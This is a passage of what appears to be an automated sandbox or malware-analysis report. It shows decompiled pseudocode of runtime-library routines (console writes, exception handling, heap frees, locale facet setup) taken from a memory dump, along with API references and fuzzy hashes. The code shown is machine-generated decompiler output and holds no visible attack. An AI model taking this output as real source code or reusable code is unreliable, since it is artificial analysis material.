							_push(_t131);
							goto L8;
						} else {
							if(_t131 >= _v40) {
								_t129 = _v48;
								 *((char*)( *((intOrPtr*)(0x6ddd76f8 + _t129 * 4)) + _t116 + 0x2e)) =  *_t131;
								 *( *((intOrPtr*)(0x6ddd76f8 + _t129 * 4)) + _t116 + 0x2d) =  *( *((intOrPtr*)(0x6ddd76f8 + _t129 * 4)) + _t116 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t132 + 4)) =  *((intOrPtr*)(_t132 + 4)) + 1;
							} else {
								_t112 = E6DD5CF1B( &_v28, _t131, 2);
								_t134 = _t134 + 0xc;
								if(_t112 != 0xffffffff) {
									_t131 =  &(_t131[1]);
									goto L9;
								}
							}
						}
					} else {
						_t128 = _t123 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t129 + _t116 + 0x2e));
						_push(2);
						_v15 = _t128;
						 *(_t129 + _t116 + 0x2d) = _t128;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t94 = E6DD5CF1B();
						_t134 = _t134 + 0xc;
						if(_t94 != 0xffffffff) {
							L9:
							_t131 =  &(_t131[1]);
							_t97 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t97;
							if(_t97 != 0) {
								if(WriteFile(_v44,  &_v24, _t97,  &_v36, 0) == 0) {
									L19:
									 *_t132 = GetLastError();
								} else {
									 *((intOrPtr*)(_t132 + 4)) =  *((intOrPtr*)(_t132 + 8)) - _v52 + _t131;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t105 = 0xd;
											_v32 = _t105;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t132 + 8)) =  *((intOrPtr*)(_t132 + 8)) + 1;
													 *((intOrPtr*)(_t132 + 4)) =  *((intOrPtr*)(_t132 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				return E6DD2F8A5(_v8 ^ _t133, _t129, _t132);
			}

APIs

GetConsoleCP.KERNEL32(00000000,?,?,?,?,?,?,?,?,6DD633A0,?,?,00000000,?,?,?), ref: 6DD62C6D
__fassign.LIBCMT ref: 6DD62CE8
__fassign.LIBCMT ref: 6DD62D03
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 6DD62D29
WriteFile.KERNEL32(?,00000000,00000000,6DD633A0,00000000,?,?,?,?,?,?,?,?,?,6DD633A0,?), ref: 6DD62D48
WriteFile.KERNEL32(?,?,00000001,6DD633A0,00000000,?,?,?,?,?,?,?,?,?,6DD633A0,?), ref: 6DD62D81

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 28b63ec8143bae35aec41459a5fc061e53f351ee4e7cacdc58a0dc89926fa63e
Instruction ID: 6b5eb0ded50f00b79612ed333d8fd342f5e8ab6a5004506a66828e5ec2c2c3bc
Opcode Fuzzy Hash: 28b63ec8143bae35aec41459a5fc061e53f351ee4e7cacdc58a0dc89926fa63e
Instruction Fuzzy Hash: 45516FB1A01249AFDB10DFA8C885BEEBBB8EF0A304F15455AF955E7281D730D941CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD33F60, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E6DD33F60(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				long _v40;
				signed int _t48;
				char _t51;
				signed int _t58;
				intOrPtr _t59;
				void* _t60;
				intOrPtr* _t61;
				intOrPtr _t63;
				void* _t66;
				long _t68;
				long _t70;
				intOrPtr _t74;
				signed int _t78;
				char _t80;
				intOrPtr _t83;
				intOrPtr _t88;
				intOrPtr _t90;
				intOrPtr _t93;
				long _t95;
				long _t97;
				void* _t98;
				void* _t100;
				void* _t102;
				void* _t104;
				void* _t105;
				void* _t112;

				_t86 = __edx;
				_push(__ebx);
				_t74 = _a8;
				_push(__edi);
				_v5 = 0;
				_t93 = _t74 + 0x10;
				_t48 =  *(_t74 + 8) ^  *0x6ddd506c;
				_push(_t93);
				_push(_t48);
				_v16 = 1;
				_v20 = _t93;
				_v12 = _t48;
				E6DD33F20(_t74, __edx);
				E6DD35267(_a12);
				_t51 = _a4;
				_t105 = _t104 + 0xc;
				_t90 =  *((intOrPtr*)(_t74 + 0xc));
				if(( *(_t51 + 4) & 0x00000066) != 0) {
					__eflags = _t90 - 0xfffffffe;
					if(_t90 != 0xfffffffe) {
						_t86 = 0xfffffffe;
						E6DD35920(_t74, 0xfffffffe, _t93, 0x6ddd506c);
						goto L14;
					}
					goto L15;
				} else {
					_v32 = _t51;
					_v28 = _a12;
					 *((intOrPtr*)(_t74 - 4)) =  &_v32;
					if(_t90 == 0xfffffffe) {
						L15:
						return _v16;
					} else {
						do {
							_t78 = _v12;
							_t20 = _t90 + 2; // 0x3
							_t58 = _t90 + _t20 * 2;
							_t74 =  *((intOrPtr*)(_t78 + _t58 * 4));
							_t59 = _t78 + _t58 * 4;
							_t79 =  *((intOrPtr*)(_t59 + 4));
							_v24 = _t59;
							if( *((intOrPtr*)(_t59 + 4)) == 0) {
								_t80 = _v5;
								goto L8;
							} else {
								_t86 = _t93;
								_t60 = E6DD358D0(_t79, _t93);
								_t80 = 1;
								_v5 = 1;
								_t112 = _t60;
								if(_t112 < 0) {
									_v16 = 0;
									L14:
									_push(_t93);
									_push(_v12);
									E6DD33F20(_t74, _t86);
									goto L15;
								} else {
									if(_t112 > 0) {
										_t61 = _a4;
										__eflags =  *_t61 - 0xe06d7363;
										if( *_t61 == 0xe06d7363) {
											__eflags =  *0x6dd7e698;
											if(__eflags != 0) {
												_t70 = E6DD77400(__eflags, 0x6dd7e698);
												_t105 = _t105 + 4;
												__eflags = _t70;
												if(_t70 != 0) {
													_t97 =  *0x6dd7e698; // 0x6dd33b1a
													 *0x6dd7a26c(_a4, 1);
													 *_t97();
													_t93 = _v20;
													_t105 = _t105 + 8;
												}
												_t61 = _a4;
											}
										}
										_t87 = _t61;
										E6DD35904(_t61, _a8, _t61);
										_t63 = _a8;
										__eflags =  *((intOrPtr*)(_t63 + 0xc)) - _t90;
										if( *((intOrPtr*)(_t63 + 0xc)) != _t90) {
											_t87 = _t90;
											E6DD35920(_t63, _t90, _t93, 0x6ddd506c);
											_t63 = _a8;
										}
										_push(_t93);
										_push(_v16);
										 *((intOrPtr*)(_t63 + 0xc)) = _t74;
										E6DD33F20(_t74, _t87);
										_t88 = _t93;
										_t83 =  *((intOrPtr*)(_v28 + 8));
										E6DD358E8();
										asm("int3");
										_t100 = _t98;
										_t102 = _t100;
										_push(_t102);
										_push(_t93);
										_t95 = _v40;
										__eflags = _t95 - 0xffffffe0;
										if(_t95 > 0xffffffe0) {
											L32:
											 *((intOrPtr*)(E6DD52281())) = 0xc;
											_t66 = 0;
											__eflags = 0;
										} else {
											__eflags = _t95;
											if(_t95 == 0) {
												_t95 = _t95 + 1;
											}
											while(1) {
												_t66 = RtlAllocateHeap( *0x6ddd7b04, 0, _t95); // executed
												__eflags = _t66;
												if(_t66 != 0) {
													break;
												}
												__eflags = E6DD6BEB2();
												if(__eflags == 0) {
													goto L32;
												} else {
													_t68 = E6DD59256(_t74, _t83, _t88, _t90, __eflags, _t95);
													_pop(_t83);
													__eflags = _t68;
													if(_t68 == 0) {
														goto L32;
													} else {
														continue;
													}
												}
												goto L33;
											}
										}
										L33:
										return _t66;
									} else {
										goto L8;
									}
								}
							}
							goto L34;
							L8:
							_t90 = _t74;
						} while (_t74 != 0xfffffffe);
						if(_t80 != 0) {
							goto L14;
						}
						goto L15;
					}
				}
				L34:
			}

APIs

_ValidateLocalCookies.LIBCMT ref: 6DD33F8B
___except_validate_context_record.LIBVCRUNTIME ref: 6DD33F93
_ValidateLocalCookies.LIBCMT ref: 6DD34021
__IsNonwritableInCurrentImage.LIBCMT ref: 6DD3404C
_ValidateLocalCookies.LIBCMT ref: 6DD340A1

Strings

csm, xrefs: 6DD34036

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 659ab12a243e3ccb7b18b7f16fd780381ba8e8b9dab4084f24f8f4a18bdd51aa
Instruction ID: 62b84652a1d4ef3da36f9ff7ae705d4ec8ac144622c796815a3950b73b253ac6
Opcode Fuzzy Hash: 659ab12a243e3ccb7b18b7f16fd780381ba8e8b9dab4084f24f8f4a18bdd51aa
Instruction Fuzzy Hash: 1541C434A0422AEBCF00EF68C840AAE7BB5FF47328F168155F9149B256D736D915CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6D29B, Relevance: 10.6, APIs: 7, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DD6D29B(intOrPtr _a4) {
				void* _t18;
				intOrPtr _t45;

				_t45 = _a4;
				if(_t45 != 0) {
					E6DD6CF81(_t45, 7);
					_t2 = _t45 + 0x1c; // 0x1c
					E6DD6CF81(_t2, 7);
					_t3 = _t45 + 0x38; // 0x38
					E6DD6CF81(_t3, 0xc);
					_t4 = _t45 + 0x68; // 0x68
					E6DD6CF81(_t4, 0xc);
					_t5 = _t45 + 0x98; // 0x98
					E6DD6CF81(_t5, 2);
					E6DD5CBD3( *((intOrPtr*)(_t45 + 0xa0)));
					E6DD5CBD3( *((intOrPtr*)(_t45 + 0xa4)));
					E6DD5CBD3( *((intOrPtr*)(_t45 + 0xa8)));
					_t9 = _t45 + 0xb4; // 0xb4
					E6DD6CF81(_t9, 7);
					_t10 = _t45 + 0xd0; // 0xd0
					E6DD6CF81(_t10, 7);
					_t11 = _t45 + 0xec; // 0xec
					E6DD6CF81(_t11, 0xc);
					_t12 = _t45 + 0x11c; // 0x11c
					E6DD6CF81(_t12, 0xc);
					_t13 = _t45 + 0x14c; // 0x14c
					E6DD6CF81(_t13, 2);
					E6DD5CBD3( *((intOrPtr*)(_t45 + 0x154)));
					E6DD5CBD3( *((intOrPtr*)(_t45 + 0x158)));
					E6DD5CBD3( *((intOrPtr*)(_t45 + 0x15c)));
					return E6DD5CBD3( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

APIs

Part of subcall function 6DD6CF81: _free.LIBCMT ref: 6DD6CFAA

_free.LIBCMT ref: 6DD6D2E9

Part of subcall function 6DD5CBD3: HeapFree.KERNEL32(00000000,00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000), ref: 6DD5CBE9
Part of subcall function 6DD5CBD3: GetLastError.KERNEL32(00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000,00000000), ref: 6DD5CBFB

_free.LIBCMT ref: 6DD6D2F4
_free.LIBCMT ref: 6DD6D2FF
_free.LIBCMT ref: 6DD6D353
_free.LIBCMT ref: 6DD6D35E
_free.LIBCMT ref: 6DD6D369
_free.LIBCMT ref: 6DD6D374

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 60696fea0fb7a8f1018e7d39f05bb92555332742b445cba9cf2dcfb68d68d62d
Instruction ID: d1c49af537d33ec02b9313579cb25aa51e9056673f7223d70ac11242c69475df
Opcode Fuzzy Hash: 60696fea0fb7a8f1018e7d39f05bb92555332742b445cba9cf2dcfb68d68d62d
Instruction Fuzzy Hash: E5117F7198AB44ABDE30B7B4CC05FCBBBBD9F00704F418A15B3A966051EB35F52846B0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1777F, Relevance: 10.6, APIs: 7, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD1777F(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a8) {
				intOrPtr _v0;
				signed int _v4;
				void* _v16;
				char _v20;
				char _v32;
				void* _t19;
				intOrPtr* _t20;
				intOrPtr* _t42;
				void* _t50;

				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653( &_v20, 0);
				_t50 =  *0x6ddd6c10; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t50;
				_t19 = E6DCF161C(0x6ddd6b2c);
				_t38 = _a8;
				_t20 = E6DCF171B(_a8, _t19);
				_t48 = _t20;
				if(_t20 != 0) {
					L5:
					E6DD166BA( &_v20);
					return E6DD30075(_t48);
				} else {
					if(_t50 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E6DD17E4C(__ebx, _t38, __edx, _t48, _t50) - 0xffffffff;
						if(__eflags == 0) {
							_t42 =  &_v32;
							E6DCF1438(_t42);
							E6DD33D74( &_v32, 0x6ddd3504);
							asm("int3");
							 *_t42 = _v0;
							return _t42;
						} else {
							_t48 = _v16;
							_v16 = _t48;
							_v4 = 1;
							E6DD16FD3(__eflags, _t48);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t48 + 4))))();
							 *0x6ddd6c10 = _t48;
							goto L5;
						}
					} else {
						_t48 = _t50;
						goto L5;
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6DD17786
std::_Lockit::_Lockit.LIBCPMT ref: 6DD17790
int.LIBCPMT ref: 6DD177A7

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

codecvt.LIBCPMT ref: 6DD177CA
std::_Facet_Register.LIBCPMT ref: 6DD177E1
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD17801
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1781F

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcodecvt
String ID:
API String ID: 2594415655-0
Opcode ID: 71c3c508982bb4598e7b074ed9f6b5b0215e7954a01c0acbf4bd26052478b741
Instruction ID: 7178f8fce931474da4290fb2149f5c8e6408fdc7f6c0f685a1ca8eaf0ca4c941
Opcode Fuzzy Hash: 71c3c508982bb4598e7b074ed9f6b5b0215e7954a01c0acbf4bd26052478b741
Instruction Fuzzy Hash: AE11B17190821DEBCF01FBA8DC40AADB7B5EF49714F120509F510A72A0DFB4AA01CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F567, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1F567(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t181;
				signed int _t182;
				void* _t194;
				void* _t207;
				void* _t220;
				void* _t233;
				void* _t246;
				void* _t259;
				void* _t272;
				void* _t285;
				void* _t298;
				void* _t311;
				void* _t324;
				signed int _t473;
				signed int _t513;
				signed int _t514;
				signed int _t515;
				signed int _t516;
				signed int _t517;
				signed int _t518;
				signed int _t519;
				signed int _t520;
				signed int _t521;
				signed int _t522;
				signed int _t523;
				signed int _t525;
				signed int _t526;
				signed int _t527;
				signed int _t528;
				signed int _t529;
				signed int _t530;
				signed int _t531;
				signed int _t532;
				signed int _t533;
				signed int _t534;
				signed int _t535;
				signed int _t536;
				signed int _t537;
				void* _t550;

				_t510 = __edx;
				_t389 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t550 - 0x14, 0);
				_t525 =  *0x6ddd6df8; // 0x0
				 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
				 *(_t550 - 0x10) = _t525;
				_t181 = E6DCF161C(0x6ddd6da4);
				_t392 =  *((intOrPtr*)(_t550 + 8));
				_t182 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t181);
				_t512 = _t182;
				if(_t182 != 0) {
					L5:
					E6DD166BA(_t550 - 0x14);
					return E6DD30075(_t512);
				} else {
					if(_t525 == 0) {
						_push( *((intOrPtr*)(_t550 + 8)));
						_push(_t550 - 0x10);
						__eflags = E6DD21127(__ebx, _t392, __edx, _t512, _t525) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t550 - 0x20);
							E6DD33D74(_t550 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t512, _t525, 0x14);
							E6DD16653(_t550 - 0x14, 0);
							_t526 =  *0x6ddd6df4; // 0x0
							 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
							 *(_t550 - 0x10) = _t526;
							_t194 = E6DCF161C(0x6ddd6da0);
							_t399 =  *((intOrPtr*)(_t550 + 8));
							_t513 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t194);
							__eflags = _t513;
							if(_t513 != 0) {
								L12:
								E6DD166BA(_t550 - 0x14);
								return E6DD30075(_t513);
							} else {
								__eflags = _t526;
								if(_t526 == 0) {
									_push( *((intOrPtr*)(_t550 + 8)));
									_push(_t550 - 0x10);
									__eflags = E6DD211AB(_t389, _t399, __edx, _t513, _t526) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t550 - 0x20);
										E6DD33D74(_t550 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t389, _t513, _t526, 0x14);
										E6DD16653(_t550 - 0x14, 0);
										_t527 =  *0x6ddd6dc8; // 0x0
										 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
										 *(_t550 - 0x10) = _t527;
										_t207 = E6DCF161C(0x6ddd6d7c);
										_t406 =  *((intOrPtr*)(_t550 + 8));
										_t514 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t207);
										__eflags = _t514;
										if(_t514 != 0) {
											L19:
											E6DD166BA(_t550 - 0x14);
											return E6DD30075(_t514);
										} else {
											__eflags = _t527;
											if(_t527 == 0) {
												_push( *((intOrPtr*)(_t550 + 8)));
												_push(_t550 - 0x10);
												__eflags = E6DD21230(_t389, _t406, __edx, _t514, _t527) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t550 - 0x20);
													E6DD33D74(_t550 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t389, _t514, _t527, 0x14);
													E6DD16653(_t550 - 0x14, 0);
													_t528 =  *0x6ddd6dc4; // 0x0
													 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
													 *(_t550 - 0x10) = _t528;
													_t220 = E6DCF161C(0x6ddd6d78);
													_t413 =  *((intOrPtr*)(_t550 + 8));
													_t515 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t220);
													__eflags = _t515;
													if(_t515 != 0) {
														L26:
														E6DD166BA(_t550 - 0x14);
														return E6DD30075(_t515);
													} else {
														__eflags = _t528;
														if(_t528 == 0) {
															_push( *((intOrPtr*)(_t550 + 8)));
															_push(_t550 - 0x10);
															__eflags = E6DD212B4(_t389, _t413, _t510, _t515, _t528) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t550 - 0x20);
																E6DD33D74(_t550 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t389, _t515, _t528, 0x14);
																E6DD16653(_t550 - 0x14, 0);
																_t529 =  *0x6ddd6dd8; // 0x0
																 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
																 *(_t550 - 0x10) = _t529;
																_t233 = E6DCF161C(0x6ddd6d84);
																_t420 =  *((intOrPtr*)(_t550 + 8));
																_t516 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t233);
																__eflags = _t516;
																if(_t516 != 0) {
																	L33:
																	E6DD166BA(_t550 - 0x14);
																	return E6DD30075(_t516);
																} else {
																	__eflags = _t529;
																	if(_t529 == 0) {
																		_push( *((intOrPtr*)(_t550 + 8)));
																		_push(_t550 - 0x10);
																		__eflags = E6DD21339(_t389, _t420, _t510, _t516, _t529) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t550 - 0x20);
																			E6DD33D74(_t550 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t389, _t516, _t529, 0x14);
																			E6DD16653(_t550 - 0x14, 0);
																			_t530 =  *0x6ddd6db0; // 0x0
																			 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
																			 *(_t550 - 0x10) = _t530;
																			_t246 = E6DCF161C(0x6ddd6d64);
																			_t427 =  *((intOrPtr*)(_t550 + 8));
																			_t517 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t246);
																			__eflags = _t517;
																			if(_t517 != 0) {
																				L40:
																				E6DD166BA(_t550 - 0x14);
																				return E6DD30075(_t517);
																			} else {
																				__eflags = _t530;
																				if(_t530 == 0) {
																					_push( *((intOrPtr*)(_t550 + 8)));
																					_push(_t550 - 0x10);
																					__eflags = E6DD213A1(_t389, _t427, _t510, _t517, _t530) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t550 - 0x20);
																						E6DD33D74(_t550 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t389, _t517, _t530, 0x14);
																						E6DD16653(_t550 - 0x14, 0);
																						_t531 =  *0x6ddd6ddc; // 0x0
																						 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
																						 *(_t550 - 0x10) = _t531;
																						_t259 = E6DCF161C(0x6ddd6d88);
																						_t434 =  *((intOrPtr*)(_t550 + 8));
																						_t518 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t259);
																						__eflags = _t518;
																						if(_t518 != 0) {
																							L47:
																							E6DD166BA(_t550 - 0x14);
																							return E6DD30075(_t518);
																						} else {
																							__eflags = _t531;
																							if(_t531 == 0) {
																								_push( *((intOrPtr*)(_t550 + 8)));
																								_push(_t550 - 0x10);
																								__eflags = E6DD21409(_t389, _t434, _t510, _t518, _t531) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t550 - 0x20);
																									E6DD33D74(_t550 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t389, _t518, _t531, 0x14);
																									E6DD16653(_t550 - 0x14, 0);
																									_t532 =  *0x6ddd6de0; // 0x0
																									 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
																									 *(_t550 - 0x10) = _t532;
																									_t272 = E6DCF161C(0x6ddd6d8c);
																									_t441 =  *((intOrPtr*)(_t550 + 8));
																									_t519 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t272);
																									__eflags = _t519;
																									if(_t519 != 0) {
																										L54:
																										E6DD166BA(_t550 - 0x14);
																										return E6DD30075(_t519);
																									} else {
																										__eflags = _t532;
																										if(_t532 == 0) {
																											_push( *((intOrPtr*)(_t550 + 8)));
																											_push(_t550 - 0x10);
																											__eflags = E6DD21471(_t389, _t441, _t510, _t519, _t532) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t550 - 0x20);
																												E6DD33D74(_t550 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t389, _t519, _t532, 0x14);
																												E6DD16653(_t550 - 0x14, 0);
																												_t533 =  *0x6ddd6dfc; // 0x0
																												 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
																												 *(_t550 - 0x10) = _t533;
																												_t285 = E6DCF161C(0x6ddd6da8);
																												_t448 =  *((intOrPtr*)(_t550 + 8));
																												_t520 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t285);
																												__eflags = _t520;
																												if(_t520 != 0) {
																													L61:
																													E6DD166BA(_t550 - 0x14);
																													return E6DD30075(_t520);
																												} else {
																													__eflags = _t533;
																													if(_t533 == 0) {
																														_push( *((intOrPtr*)(_t550 + 8)));
																														_push(_t550 - 0x10);
																														__eflags = E6DD214EC(_t389, _t448, _t510, _t520, _t533) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t550 - 0x20);
																															E6DD33D74(_t550 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t389, _t520, _t533, 0x14);
																															E6DD16653(_t550 - 0x14, 0);
																															_t534 =  *0x6ddd6dcc; // 0x0
																															 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
																															 *(_t550 - 0x10) = _t534;
																															_t298 = E6DCF161C(0x6ddd6d80);
																															_t455 =  *((intOrPtr*)(_t550 + 8));
																															_t521 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t298);
																															__eflags = _t521;
																															if(_t521 != 0) {
																																L68:
																																E6DD166BA(_t550 - 0x14);
																																return E6DD30075(_t521);
																															} else {
																																__eflags = _t534;
																																if(_t534 == 0) {
																																	_push( *((intOrPtr*)(_t550 + 8)));
																																	_push(_t550 - 0x10);
																																	__eflags = E6DD21558(_t389, _t455, _t510, _t521, _t534) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E6DCF1438(_t550 - 0x20);
																																		E6DD33D74(_t550 - 0x20, 0x6ddd3504);
																																		asm("int3");
																																		E6DD300AC(0x6dd783cf, _t389, _t521, _t534, 0x14);
																																		E6DD16653(_t550 - 0x14, 0);
																																		_t535 =  *0x6ddd6e00; // 0x0
																																		 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
																																		 *(_t550 - 0x10) = _t535;
																																		_t311 = E6DCF161C(0x6ddd6dac);
																																		_t462 =  *((intOrPtr*)(_t550 + 8));
																																		_t522 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t311);
																																		__eflags = _t522;
																																		if(_t522 != 0) {
																																			L75:
																																			E6DD166BA(_t550 - 0x14);
																																			return E6DD30075(_t522);
																																		} else {
																																			__eflags = _t535;
																																			if(_t535 == 0) {
																																				_push( *((intOrPtr*)(_t550 + 8)));
																																				_push(_t550 - 0x10);
																																				__eflags = E6DD215C4(_t389, _t462, _t510, _t522, _t535) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E6DCF1438(_t550 - 0x20);
																																					E6DD33D74(_t550 - 0x20, 0x6ddd3504);
																																					asm("int3");
																																					E6DD300AC(0x6dd783cf, _t389, _t522, _t535, 0x14);
																																					E6DD16653(_t550 - 0x14, 0);
																																					_t536 =  *0x6ddd6dd0; // 0x0
																																					 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
																																					 *(_t550 - 0x10) = _t536;
																																					_t324 = E6DCF161C(0x6ddd6d60);
																																					_t469 =  *((intOrPtr*)(_t550 + 8));
																																					_t523 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t324);
																																					__eflags = _t523;
																																					if(_t523 != 0) {
																																						L82:
																																						E6DD166BA(_t550 - 0x14);
																																						return E6DD30075(_t523);
																																					} else {
																																						__eflags = _t536;
																																						if(_t536 == 0) {
																																							_push( *((intOrPtr*)(_t550 + 8)));
																																							_push(_t550 - 0x10);
																																							__eflags = E6DD2162A(_t389, _t469, _t510, _t523, _t536) - 0xffffffff;
																																							if(__eflags == 0) {
																																								_t473 = _t550 - 0x20;
																																								E6DCF1438(_t473);
																																								E6DD33D74(_t550 - 0x20, 0x6ddd3504);
																																								asm("int3");
																																								E6DD300AC(0x6dd7851f, _t389, _t523, _t536, 4);
																																								_t537 = _t473;
																																								 *(_t550 - 0x10) = _t537;
